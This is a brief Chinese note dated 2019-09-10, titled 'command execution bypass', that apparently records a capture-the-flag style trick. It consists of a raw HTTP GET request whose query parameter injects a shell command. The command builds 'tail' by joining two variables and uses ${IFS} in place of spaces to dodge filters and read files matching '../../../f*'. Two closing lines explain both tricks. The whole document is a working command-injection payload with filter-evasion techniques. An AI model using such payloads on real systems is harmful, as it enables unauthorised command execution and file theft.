2019-09-10 命令执行绕过

GET /index.php?A=;a=t;b=ail;$a$b${IFS}-n${IFS}1${IFS}../../../f* HTTP/1.1
Host: 1.1.1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

两点
a=t;b=ail;b 拼接 tail
空格${IFS}